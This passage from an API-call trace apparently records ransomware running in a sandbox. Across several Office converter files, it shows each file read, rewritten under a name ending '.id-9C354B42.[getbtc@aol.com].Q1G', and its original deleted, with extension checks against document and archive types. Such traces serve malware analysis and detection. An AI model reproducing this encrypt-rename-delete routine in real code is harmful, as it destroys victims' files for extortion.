0x3b4 [0259.402] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.402] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.413] GetLastError () returned 0x0 [0259.413] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x5b80, lpOverlapped=0x0) returned 1 [0259.414] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5b90, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x5b90, lpOverlapped=0x0) returned 1 [0259.416] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.416] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xea, lpOverlapped=0x0) returned 1 [0259.416] SetEndOfFile (hFile=0x3e4) returned 1 [0259.416] CloseHandle (hObject=0x3e4) returned 1 [0259.416] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.416] SetEndOfFile (hFile=0x3b4) returned 1 [0259.418] CloseHandle (hObject=0x3b4) returned 1 [0259.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\desksam.sam")) returned 1 [0259.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.419] lstrlenW (lpString=".doc") returned 4 [0259.420] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString=".docx") returned 5 [0259.420] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0259.420] lstrlenW (lpString=".pdf") returned 4 [0259.420] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString=".xls") returned 4 [0259.420] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.420] lstrlenW (lpString=".xlsx") returned 5 [0259.420] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0259.420] lstrlenW (lpString=".ppt") returned 4 [0259.420] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString=".zip") returned 4 [0259.420] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.420] lstrlenW (lpString=".rar") returned 4 [0259.420] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString=".bz2") returned 4 [0259.420] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString=".7z") returned 3 [0259.420] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString=".dbf") returned 4 [0259.420] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString=".1cd") returned 4 [0259.420] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString=".jpg") returned 4 [0259.420] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.420] lstrlenW (lpString=".doc") returned 4 [0259.420] lstrcmpiW (lpString1=".doc", lpString2=".SAM") returned -1 [0259.420] lstrlenW (lpString=".docx") returned 5 [0259.420] lstrcmpiW (lpString1=".docx", lpString2="M.SAM") returned -1 [0259.421] lstrlenW (lpString=".pdf") returned 4 [0259.421] lstrcmpiW (lpString1=".pdf", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString=".xls") returned 4 [0259.421] lstrcmpiW (lpString1=".xls", lpString2=".SAM") returned 1 [0259.421] lstrlenW (lpString=".xlsx") returned 5 [0259.421] lstrcmpiW (lpString1=".xlsx", lpString2="M.SAM") returned -1 [0259.421] lstrlenW (lpString=".ppt") returned 4 [0259.421] lstrcmpiW (lpString1=".ppt", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.421] lstrlenW (lpString=".zip") returned 4 [0259.421] lstrcmpiW (lpString1=".zip", lpString2=".SAM") returned 1 [0259.421] lstrlenW (lpString=".rar") returned 4 [0259.421] lstrcmpiW (lpString1=".rar", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString=".bz2") returned 4 [0259.421] lstrcmpiW (lpString1=".bz2", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString=".7z") returned 3 [0259.421] lstrcmpiW (lpString1=".7z", lpString2="SAM") returned -1 [0259.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.421] lstrlenW (lpString=".dbf") returned 4 [0259.421] lstrcmpiW (lpString1=".dbf", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.421] lstrlenW (lpString=".1cd") returned 4 [0259.421] lstrcmpiW (lpString1=".1cd", lpString2=".SAM") returned -1 [0259.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\DESKSAM.SAM") returned 62 [0259.421] lstrlenW (lpString=".jpg") returned 4 [0259.421] lstrcmpiW (lpString1=".jpg", lpString2=".SAM") returned -1 [0259.421] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.421] lstrlenW (lpString="OLAPPT.FAE") returned 10 [0259.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.422] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=122280) returned 1 [0259.422] CloseHandle (hObject=0x3b4) returned 1 [0259.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 0x20 [0259.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.422] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.422] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.423] GetLastError () returned 0x0 [0259.423] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x1dda8, lpOverlapped=0x0) returned 1 [0259.427] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x1ddb0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x1ddb0, lpOverlapped=0x0) returned 1 [0259.429] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.429] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.429] SetEndOfFile (hFile=0x3e4) returned 1 [0259.430] CloseHandle (hObject=0x3e4) returned 1 [0259.430] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.430] SetEndOfFile (hFile=0x3b4) returned 1 [0259.434] CloseHandle (hObject=0x3b4) returned 1 [0259.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\olappt.fae")) returned 1 [0259.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".doc") returned 4 [0259.435] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.435] lstrlenW (lpString=".docx") returned 5 [0259.435] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0259.435] lstrlenW (lpString=".pdf") returned 4 [0259.435] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString=".xls") returned 4 [0259.435] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString=".xlsx") returned 5 [0259.435] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0259.435] lstrlenW (lpString=".ppt") returned 4 [0259.435] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".zip") returned 4 [0259.435] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString=".rar") returned 4 [0259.435] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString=".bz2") returned 4 [0259.435] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.435] lstrlenW (lpString=".7z") returned 3 [0259.435] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".dbf") returned 4 [0259.435] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".1cd") returned 4 [0259.435] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".jpg") returned 4 [0259.435] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.435] lstrlenW (lpString=".doc") returned 4 [0259.435] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.436] lstrlenW (lpString=".docx") returned 5 [0259.436] lstrcmpiW (lpString1=".docx", lpString2="T.FAE") returned -1 [0259.436] lstrlenW (lpString=".pdf") returned 4 [0259.436] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.436] lstrlenW (lpString=".xls") returned 4 [0259.436] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.436] lstrlenW (lpString=".xlsx") returned 5 [0259.436] lstrcmpiW (lpString1=".xlsx", lpString2="T.FAE") returned -1 [0259.436] lstrlenW (lpString=".ppt") returned 4 [0259.436] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.436] lstrlenW (lpString=".zip") returned 4 [0259.436] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.436] lstrlenW (lpString=".rar") returned 4 [0259.436] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.436] lstrlenW (lpString=".bz2") returned 4 [0259.436] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.436] lstrlenW (lpString=".7z") returned 3 [0259.436] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.436] lstrlenW (lpString=".dbf") returned 4 [0259.436] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.436] lstrlenW (lpString=".1cd") returned 4 [0259.436] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLAPPT.FAE") returned 61 [0259.436] lstrlenW (lpString=".jpg") returned 4 [0259.436] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.436] lstrcmpiW (lpString1=".FAE", lpString2=".Q1G") returned -1 [0259.436] lstrlenW (lpString="OLJRNL.FAE") returned 10 [0259.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.437] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=71584) returned 1 [0259.438] CloseHandle (hObject=0x3b4) returned 1 [0259.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 0x20 [0259.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0259.438] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.438] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0259.442] GetLastError () returned 0x0 [0259.442] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x117a0, lpOverlapped=0x0) returned 1 [0259.445] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x117b0, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x117b0, lpOverlapped=0x0) returned 1 [0259.447] ReadFile (in: hFile=0x3b4, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0259.447] WriteFile (in: hFile=0x3e4, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0259.447] SetEndOfFile (hFile=0x3e4) returned 1 [0259.447] CloseHandle (hObject=0x3e4) returned 1 [0259.447] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.447] SetEndOfFile (hFile=0x3b4) returned 1 [0259.577] CloseHandle (hObject=0x3b4) returned 1 [0259.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0259.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\oljrnl.fae")) returned 1 [0259.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".doc") returned 4 [0259.624] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.624] lstrlenW (lpString=".docx") returned 5 [0259.624] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0259.624] lstrlenW (lpString=".pdf") returned 4 [0259.624] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString=".xls") returned 4 [0259.624] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString=".xlsx") returned 5 [0259.624] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0259.624] lstrlenW (lpString=".ppt") returned 4 [0259.624] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".zip") returned 4 [0259.624] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString=".rar") returned 4 [0259.624] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString=".bz2") returned 4 [0259.624] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.624] lstrlenW (lpString=".7z") returned 3 [0259.624] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".dbf") returned 4 [0259.624] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".1cd") returned 4 [0259.624] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".jpg") returned 4 [0259.624] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.624] lstrlenW (lpString=".doc") returned 4 [0259.624] lstrcmpiW (lpString1=".doc", lpString2=".FAE") returned -1 [0259.624] lstrlenW (lpString=".docx") returned 5 [0259.625] lstrcmpiW (lpString1=".docx", lpString2="L.FAE") returned -1 [0259.625] lstrlenW (lpString=".pdf") returned 4 [0259.625] lstrcmpiW (lpString1=".pdf", lpString2=".FAE") returned 1 [0259.625] lstrlenW (lpString=".xls") returned 4 [0259.625] lstrcmpiW (lpString1=".xls", lpString2=".FAE") returned 1 [0259.625] lstrlenW (lpString=".xlsx") returned 5 [0259.625] lstrcmpiW (lpString1=".xlsx", lpString2="L.FAE") returned -1 [0259.625] lstrlenW (lpString=".ppt") returned 4 [0259.625] lstrcmpiW (lpString1=".ppt", lpString2=".FAE") returned 1 [0259.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.625] lstrlenW (lpString=".zip") returned 4 [0259.625] lstrcmpiW (lpString1=".zip", lpString2=".FAE") returned 1 [0259.625] lstrlenW (lpString=".rar") returned 4 [0259.625] lstrcmpiW (lpString1=".rar", lpString2=".FAE") returned 1 [0259.625] lstrlenW (lpString=".bz2") returned 4 [0259.625] lstrcmpiW (lpString1=".bz2", lpString2=".FAE") returned -1 [0259.625] lstrlenW (lpString=".7z") returned 3 [0259.625] lstrcmpiW (lpString1=".7z", lpString2="FAE") returned -1 [0259.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.625] lstrlenW (lpString=".dbf") returned 4 [0259.625] lstrcmpiW (lpString1=".dbf", lpString2=".FAE") returned -1 [0259.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.625] lstrlenW (lpString=".1cd") returned 4 [0259.625] lstrcmpiW (lpString1=".1cd", lpString2=".FAE") returned -1 [0259.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OLJRNL.FAE") returned 61 [0259.625] lstrlenW (lpString=".jpg") returned 4 [0259.625] lstrcmpiW (lpString1=".jpg", lpString2=".FAE") returned 1 [0259.625] lstrcmpiW (lpString1=".SAM", lpString2=".Q1G") returned 1 [0259.625] lstrlenW (lpString="ORG97.SAM") returned 9 [0259.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.659] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=50568) returned 1 [0259.659] CloseHandle (hObject=0x3e0) returned 1 [0259.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam")) returned 0x20 [0259.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0259.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0259.659] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.659] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0259.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\ORG97.SAM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\org97.sam.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0259.660] GetLastError () returned 0x0 [0259.660] ReadFile (in: hFile=0x3e0, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0xc588, lpOverlapped=0x0) returned 1 [0259.663] WriteFile (in: hFile=0x1bc, 